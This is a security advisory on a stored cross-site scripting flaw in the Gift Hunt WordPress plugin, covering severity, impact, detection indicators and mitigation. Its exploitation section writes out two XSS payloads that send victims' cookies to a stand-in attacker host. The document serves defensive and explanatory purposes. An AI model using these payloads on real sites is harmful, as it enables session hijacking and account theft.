CVE-2025-67631: 
WordPress vulnerability analysis and mitigation

CVE-2025-67631 is a Stored Cross-Site Scripting (XSS) vulnerability in the Gift Hunt WordPress plugin developed by Ecommerce Platforms. The flaw allows authenticated attackers with low privileges to inject and store malicious scripts that execute in victims' browsers. It affects Gift Hunt versions up to and including 2.0.2. The vulnerability was published on December 24, 2025, and assigned a CVSS v3.1 base score of 5.4 (Medium) (Feedly, Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), a Stored XSS variant. The plugin fails to properly sanitize or escape user-supplied input before storing and rendering it in web pages, allowing an attacker with low-level authenticated access to inject persistent malicious JavaScript. Because the scope is changed (S:C in CVSS), the injected script can affect browser contexts beyond the attacker's own session, impacting other users who view the affected content. No public technical write-up or proof-of-concept code has been identified beyond the Patchstack advisory (Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of other users, including administrators, who view the page containing the stored payload. This can lead to session cookie theft, credential harvesting, unauthorized actions performed on behalf of victims, and potential site defacement. Confidentiality and integrity are both impacted at a low level, while availability is not directly affected (Feedly).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported for CVE-2025-67631. The vulnerability requires the attacker to be authenticated with at least low-level privileges and requires user interaction (a victim must view the injected content). The EPSS score is approximately 0.029%, indicating a very low probability of exploitation in the near term. It does not appear in the CISA Known Exploited Vulnerabilities catalog (Feedly).

1. Authenticate: Log in to the WordPress site with any low-privileged account (e.g., subscriber or contributor) that has access to Gift Hunt plugin input fields.
2. Identify injectable field: Navigate to the Gift Hunt plugin's user-facing or admin input forms and identify fields that accept and store user-supplied text (e.g., gift names, descriptions, or custom fields).
3. Inject payload: Submit a crafted XSS payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an event-handler-based payload (e.g., <img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>) into the vulnerable field.
4. Wait for victim interaction: The payload is stored in the database and rendered to any user (including administrators) who views the affected page, triggering script execution in their browser.
5. Harvest results: Collect stolen session cookies or credentials from the attacker-controlled server to perform session hijacking or further account compromise (Feedly).

• Logs: WordPress access logs showing POST requests to Gift Hunt plugin endpoints containing HTML/JavaScript tags or encoded equivalents (e.g., %3Cscript%3E, onerror=, javascript:).
• Database: Unexpected <script> tags, event handlers, or encoded JavaScript in Gift Hunt plugin database entries (e.g., wp_postmeta or plugin-specific tables).
• Network: Outbound requests from victim browsers to unknown external domains shortly after viewing Gift Hunt plugin pages, potentially carrying cookie or session data in query parameters.
• Browser/Application: Unexpected JavaScript execution or redirects occurring when administrators or users view Gift Hunt plugin content pages.

Users should update the Gift Hunt WordPress plugin to a version beyond 2.0.2 if a patched release is available from the plugin developer (Ecommerce Platforms). If no patch is yet available, the recommended workaround is to deactivate and remove the plugin until a fix is released. Site administrators should also restrict plugin input access to trusted users only and implement a Web Application Firewall (WAF) with XSS filtering rules as an additional layer of defense (Feedly, Patchstack).